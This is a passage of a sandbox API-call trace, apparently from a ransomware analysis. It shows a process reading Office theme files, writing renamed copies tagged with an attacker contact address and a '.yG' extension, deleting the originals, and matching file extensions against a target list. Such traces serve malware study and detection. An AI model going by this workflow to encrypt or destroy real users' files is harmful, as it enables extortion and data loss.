	[0154.235] ReadFile (in: hFile=0x540, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0154.235] WriteFile (in: hFile=0x350, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xfa, lpOverlapped=0x0) returned 1
	[0154.235] SetEndOfFile (hFile=0x350) returned 1
	[0154.235] CloseHandle (hObject=0x350) returned 1
	[0154.235] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.235] SetEndOfFile (hFile=0x540) returned 1
	[0154.279] CloseHandle (hObject=0x540) returned 1
	[0154.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0154.279] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx")) returned 1
	[0154.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0154.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0154.280] lstrlenW (lpString=".doc") returned 4
	[0154.280] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0154.280] lstrlenW (lpString=".docx") returned 5
	[0154.280] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0154.280] lstrlenW (lpString=".pdf") returned 4
	[0154.280] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0154.280] lstrlenW (lpString=".xls") returned 4
	[0154.280] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0154.281] lstrlenW (lpString=".xlsx") returned 5
	[0154.281] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0154.281] lstrlenW (lpString=".ppt") returned 4
	[0154.281] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0154.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0154.281] lstrlenW (lpString=".zip") returned 4
	[0154.281] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0154.281] lstrlenW (lpString=".rar") returned 4
	[0154.281] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0154.281] lstrlenW (lpString=".bz2") returned 4
	[0154.281] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0154.281] lstrlenW (lpString=".7z") returned 3
	[0154.281] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0154.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0154.281] lstrlenW (lpString=".dbf") returned 4
	[0154.281] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0154.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0154.281] lstrlenW (lpString=".1cd") returned 4
	[0154.281] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0154.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0154.281] lstrlenW (lpString=".jpg") returned 4
	[0154.281] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0154.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0154.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0154.282] lstrlenW (lpString=".doc") returned 4
	[0154.282] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0154.282] lstrlenW (lpString=".docx") returned 5
	[0154.282] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0154.282] lstrlenW (lpString=".pdf") returned 4
	[0154.282] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0154.282] lstrlenW (lpString=".xls") returned 4
	[0154.282] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0154.282] lstrlenW (lpString=".xlsx") returned 5
	[0154.282] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0154.282] lstrlenW (lpString=".ppt") returned 4
	[0154.282] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0154.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0154.282] lstrlenW (lpString=".zip") returned 4
	[0154.282] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0154.282] lstrlenW (lpString=".rar") returned 4
	[0154.282] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0154.282] lstrlenW (lpString=".bz2") returned 4
	[0154.282] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0154.282] lstrlenW (lpString=".7z") returned 3
	[0154.282] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0154.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0154.282] lstrlenW (lpString=".dbf") returned 4
	[0154.283] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0154.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0154.283] lstrlenW (lpString=".1cd") returned 4
	[0154.283] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0154.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91
	[0154.283] lstrlenW (lpString=".jpg") returned 4
	[0154.283] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0154.283] lstrcmpiW (lpString1=".eftx", lpString2=".yG") returned -1
	[0154.283] lstrlenW (lpString="Office 2007 - 2010.eftx") returned 23
	[0154.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0154.284] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=45229) returned 1
	[0154.284] CloseHandle (hObject=0x540) returned 1
	[0154.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx")) returned 0x220
	[0154.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0154.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0154.285] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.285] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0154.286] GetLastError () returned 0x0
	[0154.286] ReadFile (in: hFile=0x540, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0xb0ad, lpOverlapped=0x0) returned 1
	[0154.294] WriteFile (in: hFile=0x350, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xb0b0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xb0b0, lpOverlapped=0x0) returned 1
	[0154.296] ReadFile (in: hFile=0x540, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0154.297] WriteFile (in: hFile=0x350, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x102, lpOverlapped=0x0) returned 1
	[0154.297] SetEndOfFile (hFile=0x350) returned 1
	[0154.297] CloseHandle (hObject=0x350) returned 1
	[0154.297] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.297] SetEndOfFile (hFile=0x540) returned 1
	[0154.301] CloseHandle (hObject=0x540) returned 1
	[0154.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0154.301] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx")) returned 1
	[0154.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0154.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0154.302] lstrlenW (lpString=".doc") returned 4
	[0154.302] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0154.302] lstrlenW (lpString=".docx") returned 5
	[0154.302] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0154.302] lstrlenW (lpString=".pdf") returned 4
	[0154.302] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0154.302] lstrlenW (lpString=".xls") returned 4
	[0154.302] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0154.303] lstrlenW (lpString=".xlsx") returned 5
	[0154.303] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0154.303] lstrlenW (lpString=".ppt") returned 4
	[0154.303] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0154.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0154.303] lstrlenW (lpString=".zip") returned 4
	[0154.303] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0154.303] lstrlenW (lpString=".rar") returned 4
	[0154.303] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0154.303] lstrlenW (lpString=".bz2") returned 4
	[0154.303] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0154.303] lstrlenW (lpString=".7z") returned 3
	[0154.303] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0154.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0154.303] lstrlenW (lpString=".dbf") returned 4
	[0154.303] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0154.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0154.303] lstrlenW (lpString=".1cd") returned 4
	[0154.303] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0154.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0154.303] lstrlenW (lpString=".jpg") returned 4
	[0154.303] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0154.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0154.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0154.304] lstrlenW (lpString=".doc") returned 4
	[0154.304] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0154.304] lstrlenW (lpString=".docx") returned 5
	[0154.304] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0154.304] lstrlenW (lpString=".pdf") returned 4
	[0154.304] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0154.304] lstrlenW (lpString=".xls") returned 4
	[0154.304] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0154.304] lstrlenW (lpString=".xlsx") returned 5
	[0154.304] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0154.304] lstrlenW (lpString=".ppt") returned 4
	[0154.304] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0154.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0154.304] lstrlenW (lpString=".zip") returned 4
	[0154.304] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0154.304] lstrlenW (lpString=".rar") returned 4
	[0154.304] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0154.304] lstrlenW (lpString=".bz2") returned 4
	[0154.304] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0154.304] lstrlenW (lpString=".7z") returned 3
	[0154.304] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0154.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0154.304] lstrlenW (lpString=".dbf") returned 4
	[0154.305] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0154.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0154.305] lstrlenW (lpString=".1cd") returned 4
	[0154.305] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0154.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95
	[0154.305] lstrlenW (lpString=".jpg") returned 4
	[0154.305] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0154.305] lstrcmpiW (lpString1=".eftx", lpString2=".yG") returned -1
	[0154.305] lstrlenW (lpString="Reflection.eftx") returned 15
	[0154.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0154.998] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=48366) returned 1
	[0154.999] CloseHandle (hObject=0x52c) returned 1
	[0154.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx")) returned 0x220
	[0154.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0154.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0154.999] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.999] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0155.000] GetLastError () returned 0x0
	[0155.000] ReadFile (in: hFile=0x52c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0xbcee, lpOverlapped=0x0) returned 1
	[0155.023] WriteFile (in: hFile=0x388, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xbcf0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xbcf0, lpOverlapped=0x0) returned 1
	[0155.026] ReadFile (in: hFile=0x52c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0155.026] WriteFile (in: hFile=0x388, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xf2, lpOverlapped=0x0) returned 1
	[0155.026] SetEndOfFile (hFile=0x388) returned 1
	[0155.030] CloseHandle (hObject=0x388) returned 1
	[0155.037] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.037] SetEndOfFile (hFile=0x52c) returned 1
	[0155.051] CloseHandle (hObject=0x52c) returned 1
	[0155.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0155.052] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx")) returned 1
	[0155.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0155.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0155.053] lstrlenW (lpString=".doc") returned 4
	[0155.053] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0155.053] lstrlenW (lpString=".docx") returned 5
	[0155.053] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0155.053] lstrlenW (lpString=".pdf") returned 4
	[0155.053] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0155.053] lstrlenW (lpString=".xls") returned 4
	[0155.053] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0155.053] lstrlenW (lpString=".xlsx") returned 5
	[0155.054] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0155.054] lstrlenW (lpString=".ppt") returned 4
	[0155.054] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0155.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0155.054] lstrlenW (lpString=".zip") returned 4
	[0155.054] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0155.054] lstrlenW (lpString=".rar") returned 4
	[0155.054] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0155.054] lstrlenW (lpString=".bz2") returned 4
	[0155.054] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0155.054] lstrlenW (lpString=".7z") returned 3
	[0155.054] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0155.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0155.054] lstrlenW (lpString=".dbf") returned 4
	[0155.054] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0155.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0155.054] lstrlenW (lpString=".1cd") returned 4
	[0155.054] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0155.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0155.054] lstrlenW (lpString=".jpg") returned 4
	[0155.054] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0155.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0155.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0155.054] lstrlenW (lpString=".doc") returned 4
	[0155.054] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0155.054] lstrlenW (lpString=".docx") returned 5
	[0155.054] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0155.054] lstrlenW (lpString=".pdf") returned 4
	[0155.055] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0155.055] lstrlenW (lpString=".xls") returned 4
	[0155.055] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0155.055] lstrlenW (lpString=".xlsx") returned 5
	[0155.055] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0155.055] lstrlenW (lpString=".ppt") returned 4
	[0155.055] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0155.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0155.055] lstrlenW (lpString=".zip") returned 4
	[0155.055] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0155.055] lstrlenW (lpString=".rar") returned 4
	[0155.055] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0155.055] lstrlenW (lpString=".bz2") returned 4
	[0155.055] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0155.055] lstrlenW (lpString=".7z") returned 3
	[0155.055] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0155.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0155.055] lstrlenW (lpString=".dbf") returned 4
	[0155.055] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0155.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0155.055] lstrlenW (lpString=".1cd") returned 4
	[0155.055] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0155.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0155.055] lstrlenW (lpString=".jpg") returned 4
	[0155.055] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0155.056] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0155.056] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31
	[0155.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0155.059] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=18624) returned 1
	[0155.059] CloseHandle (hObject=0x52c) returned 1
	[0155.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll")) returned 0x220
	[0155.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0155.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0155.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0155.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0155.060] lstrlenW (lpString=".doc") returned 4
	[0155.060] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0155.060] lstrlenW (lpString=".docx") returned 5
	[0155.060] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0155.060] lstrlenW (lpString=".pdf") returned 4
	[0155.060] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0155.060] lstrlenW (lpString=".xls") returned 4
	[0155.060] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0155.060] lstrlenW (lpString=".xlsx") returned 5
	[0155.060] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0155.060] lstrlenW (lpString=".ppt") returned 4
